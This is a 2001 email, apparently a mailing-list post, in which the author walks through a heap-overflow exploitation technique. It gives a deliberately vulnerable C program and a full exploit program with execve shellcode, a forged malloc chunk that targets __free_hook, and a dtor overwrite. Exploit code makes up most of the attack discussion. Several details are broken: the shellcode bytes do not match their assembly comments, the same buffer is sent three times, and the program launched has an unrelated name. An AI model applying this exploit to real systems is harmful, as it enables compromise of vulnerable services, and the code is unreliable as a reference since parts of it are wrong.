To: bikappa(at)low-level.net
Subject: Extreme case: art of writing exploit
Date: Sat Feb 24 2001 15:20:09
Author: bikappa(at)itapac.net
Message-ID: <236519684565.BAH060807(at)selen.it>
Hello,
I finally decided to write a paper about a technique I used
in an exploit recently.
It's a long time since I've written an exploit, since I found
it useless and
boring. In the last few days I worked on a challenging exploit.
That's the
reason that pushed me to finish it, so now I decided to post
the proof of the
technique I used to solve my problem. Of course I won't post
the exploit and
I won't say the name of the buggy daemon (look at http://anti.security.is).
First of all, I should say this was done in a remote scenario,
but now I wrote
a similar vulnproggie, which will work in a local situation.
It doesn't matter
because we'll work in a remote setting. This is the vulnerable
program - I
inserted what is needed by us to get it working.
----> kioto.c <----
/*
* Exploitable vuln proggie for show some proof
*/
#include <stdio.h>
#include <stdlib.h>
/*
* Some size that should be respected
*/
#define LOALEN
4
#define MAXSIZE
64
#define LONGSZ
16
#define BSIZE1
32
#define BSIZE2
64
#define CHARA
0x41
#define BISZ
128
/*
* that's are some vars declared in the proggie, that
i found
* useful to pass like arguments of the doit()
*/
char t[64] = "let me proof d00dz",
version[64]
= "xxxxxxx version %d (C) 2000/2001",
b[8] = "zz";
doit(char *arg1, char arg2[])
{
/*
* that's
data put from prog in
* the
beginning of buff, i
* inserted
xxxx coz it was
* to
easy understand what's the
* daemon
we're working on :=)
*/
char
loa[] = "xxxx",
buffer[BISZ];
int
i,blen, totsize;
/*
* Copying
the 1st 4 byte passed
* from
proggie
*/
strncpy(arg1,
loa, LOALEN);
totsize =
LOALEN;
/* copy shit
*/
for( i = 0;
i < 3; i++) {
bzero(&buffer, BISZ);
gets(buffer);
blen = strlen(buffer) < MAXSIZE ? strlen(buffer) : MAXSIZE;
strncpy(arg1 + totsize, arg2, strlen(arg2));
strncpy(arg1 + totsize + strlen(arg2), buffer, blen);
totsize = totsize + strlen(arg2) + blen; }
}
func (char *mc)
{
char *buf1,*buf2,
*buf3;
int i;
buf1 = malloc(BSIZE1);
buf2 = malloc(BSIZE2);
buf3 = malloc(BSIZE2);
/*
* The
size are choose with some argument you pass before,
* in
real fact happen something like
*
memset(buf1, xx, 16) <- data passed by proggie
*
strncpy(buf1 + 16, mc, 16) <- data passed by us
*
* in
next cycle we can do something like
*
memset(buf1, xx, 16) <- data passed by proggie
*
strncpy(buf1 + 16 + 16, mc, 16) <- data passed by us
*
* so
we'll can write 32 bytes, 16 in the allocated buffer
* and
16 that will overwrite the malloc_chunck of buf2
*/
memset(buf1,
CHARA, LONGSZ);
strncpy(buf1
+ LONGSZ, mc, BSIZE1);
free(buf1);
free(buf2);
}
int main(int argc, char ** argv)
{
func(argv[1]);
exit(0);
}
----> __EOF__ <----
We should look at the vulnerable situation. It looks like
a simplw heap
overflow of 16 bytes. As anyone knows, 16 bytes is enough
to overwrite the
malloc_chunck of the next allocated buffer. But at the same
time the problem
is unique because we only have 16 bytes of room for the shellcode.
But another
piece of bad news is that there is not really 16 bytes, because
the last 4 bytes
of buff1 are corrupted by the free(), (and sometimes also
first byte of
malloc_chunck of buff2, it depends from prev_size value) so
at the end we have
12bytes + 4bytes corrupted + 16bytes of malloc_chunck. It
looks quite difficult
to solve, because 12 bytes are not really enough for shellcode,
and there's not
other buffer/data to jump to, just because there's no others
vars in which to
place shellcode. Now, my first idea was to execute a vulnerable
function, but
but we can't insert a TEXT value in the fd of the malloc chunk
because free
doesn't permit us to jump there. We should insert a call.
So we find the right functions (in this case doit() and the
right argument for
this function, version and b), and we should push the two
arguments on the stack and
later call the function. Push dword + push dword + call =
6b + 6b + 5b = 17b..
mm.. that's not nice. We've only 12 bytes but the situation
was easly solved from
a lil genius (yeah..that's me). Prev_size of malloc_chunck
can be everything
different than 0xffffffff, and it stays at the beginning of
the chunk, so we
get 4 bytes more. 12 + 4 = 16bytes, but.. there's 4bytes corrupted
in the
middle, so we should jump (and skip) these 4 bytes to prevent
a segmentation
fault. So it will be 10bytes + 2bytes of jump + 4bytes corrupted
+ 4byte of
prev_size = 14 bytes. It's still not enough. Now just think
how to work a
call (0xe), it pass the distance, and usually it something
like 0xe80x??0x??
0xff0xff, (if it's pretty far it will be one 0xff less), and
that means
that we are saved, because next field of malloc_chunk is size
and as we
know it should be setted to -1 (0xffffffff) to perform a nice
heap exploitation.
So 2bytes of call will be shared with the size. The call is
correctly placed
in the 16 bytes of malloc_chunk - the problem now is to push
two dword in 10 bytes.
I found 3 solutions. The first is to push a copy of the second
argument to
eax, push eax, subtract the distance between the second and
first arguments, and
push eax again.
The two args are:
version :
$0x8049840
b: $0x8049880
mov
$version,%eax
pushl
%eax
subl
$0x40,%eax
pushl
%eax
and that's 10 bytes. The second method is to pass a NULL:
pushl
$0x8049840
subl
%eax,%eax
push
%eax
and this is 10 bytes too. The last method, which is easier
and faster,
is to use directly the d68h of x86 architecture and use the
opcode 0x68.
pushl
$0x8049840
pushl
$0x8049880
We will use this last method. So after this these 2 pushes
we just insert a jump
4 bytes forward (to skip corrupted bytes).
The situation of buff1 will appear like this:
__
__
|
|
|
|
|
|
|
|
| 16 bytes |
| Data passed |
| by proggie |
|
|
Buff1
|
|
Malloc(32) |
|__
|
__ __
|
| |
|
| | pushl $version
|
| |
| 16 bytes | 10bytes | pushl
$b
| Passed |
|
| by us |
|__
|
| __
|
| 2bytes |__ jump addr + 4
|
| __
|
| 4bytes | corrupted
|__
|__ |__ data
__ __
__
| Prev_size | 1bytes |__ nop
| 4bytes |__
|
Malloc
|
__ 5bytes | call doit()
Chunck
| Size |
|__
of buff2 |
4bytes |__ 2bytes |__ end of size
malloc(32) |
__ __
| BK |
4bytes | address of
| 4bytes |__
|__ __free_hook
|
__ __
| FD |
4bytes | address to
|__ 4bytes |__
|__ jump to
Now we work on the second part of the exploit. This is the
exploit for the
doit() function. First of all, we should decide 2 args to
pass and in this
case I inserted the two right buffers in the vuln proggie.
So the first
argument will be version and the second, b. The important
thing is to
calculate the right size to obtain something interesting and
helpful. The
mem situation is version, b, force_to_data, frame_end, c/dtor.
For our
interests we should overwrite all the frame_end + c/dtor data.
So it is
pretty important to do the right calculations: at the first
cycle we'll
overwrite a,b mem area, at the second cycle we'll overwrite
some force_to_data
area (and it can be a nice zone to place our shellcode) and
with the third
cycle we'll overwrite the end of force_to_data plus frame_end
plus ctor and
dtor. And in this cycle we should put all the right addresses.
The list value
should be equal to -1 and in the end field of dtor (if the
other end fields
are equal to 0) we should put the address we want to jump
to. But of course
we can't set some field equal to 0, so we'll push the
address, and after
8 bytes (these are the bytes to be skipped), insert the address
to jump to. We've
decided to insert the shellcode on the 2nd cycle and I think
it is a perfect place
because all 64 bytes passed aren't corrupted or truncated.
After all our data
will be passed, the situation of mem will look like so:
4b 2b 64bytes
2b 64bytes
2b 60bytes
[data][b][1cycle AA...AA][b][2cycle NOP...shellcode][b][3cycle
AA..STRUCT+ADDR]
And now here goes the exploit for this well know situation.
This one is simple
so it looks like a good starting point.
----> explotio.c <-----
#include <stdio.h>
#include <stdlib.h>
/*
* Data sheet for heap overflow
*
* start of buff1: 0x8049a08
* doit() address: 0x8048560
* version: $0x8049840
* b: $0x8049880
* mc + 1: 0x8049A29
* buff1 + 16: 0x8049A18
*/
#define FREE_HOOK 0x40101458
#define BUFF
0x8049A18
#define BUFFERSIZE 500
#define ADDR 0x8048560 //0x40041720
/* 0x804989A */
#define NOP 0x90
#define BSIZE 128
#define MENUN 0xffffffff
#define CHARA 0x41
#define REMSZ 64
#define PAD 10
#define FREDS 30 /* distance from start of buf3
to FR_END */
#define FRESZ 20
/* 16 bytes
call-code */
unsigned char callcode[] =
"\x68\x40\x98\x04\x08"
/* pushl $0x8049840 */
"\x68\x80\x99\x04\x08"
/* pushl $0x8049880 */
"\xeb\x05"
/* jmp addr + 5 */
"\x90"
/* nop
*/
"\x90"
/* nop
*/
"\x90"
/* nop
*/
"\x90";
/* nop
*/
/* 25 bytes
shellcode */
unsigned char shellcode[] =
/*
* push %ebp
"\x55"
* mov %esp,%ebp
"\x89\xe5"
* sub %eax,%eax
"\x29\xc0"
* push %eax
"\x50"
* push $0x68732f2f
"\x68\x2f\x2f\x73\x68"
* push $0x6e69622f
"\x68\x2f\x2f\x69\x6e"
* mov %esp,%ebx
"\x89\xe3"
* push %eax
"\x50"
* mov %esp,%edx
"\x89\xe2"
* push %esp
"\x54"
* mov %esp,%ecx
"\x89\xe1"
* mov $0xb,%al
"\xb0\x08"
* int $0x80
"\xcd\x80"
* mov %ebp,%esp
"\x89\xec"
* pop %ebp
"\x5d"
* ret
"\xc3"
*/
"\x29\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x2f\x69\x6e\x89\xe3\x50"
"\x89\xe2\x54\x89\xe1\xb0\x08\xcd"
"\x80\x90";
int main(int argc,char **argv)
{
struct FRAME_END
{
unsigned int FR_END__;
struct _CTOR {
unsigned int LIST__;
unsigned int END__;
} CT;
struct _DTOR {
unsigned int LIST__;
unsigned int END__;
} DT;
} FE_;
struct malloc_chunk{
unsigned int ps;
unsigned int sz;
unsigned int fd;
unsigned int bk;
} mc;
pid_t soon;
unsigned char
*type = "w";
int bsize
= argc > 1 ? atoi(argv[1]) : 16;
unsigned int
offset = argc > 2 ? atoi(argv[2]) : 0;
unsigned int
addr = ADDR + offset;
char
*program[2];
char
buffer1[BSIZE],
buffer2[BSIZE],
buffer3[BSIZE],
buffer[BUFFERSIZE];
int i;
/*
* The
3 buffer used for data
* of
doit() overflow
*/
bzero(&buffer1,
BSIZE);
bzero(&buffer2,
BSIZE);
bzero(&buffer3,
BSIZE);
/*
* NEW
Malloc chunck data:
*
* Address
of this buffer 0x8049A29
* Address
of functions 0x8048560
* distance
is 5321 - 4
* distance
0xFFFFEB33
*/
mc.ps = 0xeb33e890;
mc.sz = 0xffffffff;
mc.bk = FREE_HOOK
- 8;
mc.fd = BUFF;
/*
* New
framde end, c/dtors data:
*/
FE_.FR_END__
= ADDR;
FE_.CT.LIST__
= MENUN;
FE_.CT.END__
= ADDR;
FE_.DT.LIST__
= MENUN;
FE_.DT.END__
= ADDR;
/*
* Setting
un buffer for heap overflow
*/
memset(buffer,
CHARA, BUFFERSIZE);
memcpy(buffer,
callcode, bsize);
memcpy(buffer
+ bsize, &mc, sizeof(mc));
buffer[bsize
+ sizeof(mc)]=0;
/*
* Setting
up buffers for doit() overflow
*/
/* buffer
1 - only [AAA...AA] */
memset(buffer1,
CHARA, REMSZ);
/* buffer
2 - shellcode is here */
memset(buffer2,
NOP, REMSZ);
memcpy(buffer2
+ PAD, &shellcode, sizeof(shellcode) - 1);
/* buffer
3 - frame_end + addrofsh */
memset(buffer3,
CHARA, FREDS);
memcpy(buffer3
+ FREDS, &FE_, FRESZ);
memset(buffer3
+ FREDS + FRESZ, NOP, 8);
memcpy(buffer3
+ FREDS + FRESZ + 8, &addr, 4);
printf("Heap:
buffersize = %d, addressofcallcode = 0x%x\n", bsize + sizeof(mc),
BUFF);
printf("Doit:
shellcode = %d, addressofshellcode = 0x%x\n", sizeof(shellcode)-1,
addr);
snprintf(buffer,
32, "%s %s", argv[0], argv[1]);
popen("./piotto5",
type);
/* Put the
data */
sleep(1);
puts(buffer1);
sleep(1);
puts(buffer1);
sleep(1);
puts(buffer1);
}
----> __EOF__ <-----
I think it also could be nice to make this work on a stackguarded
daemon, and
the solution appears pretty easy - simply avoid the stack
and work on the heap :P
That's all. I hope that I have proved that writing exploits
should be an art, which
is something only artists can do.
Signed,
bikappa
----> __EOF__ <----
_______________________________________________________
bikappa [bikappa(at)itapac.net/low-level.net] [bikappa(at)IRCnet#hax]
[http://www.low-level.net]
[http://anti.security.is] [l0wlevel]
[bin/zsh]
Free Advertising : http://www.FreeSK8.org/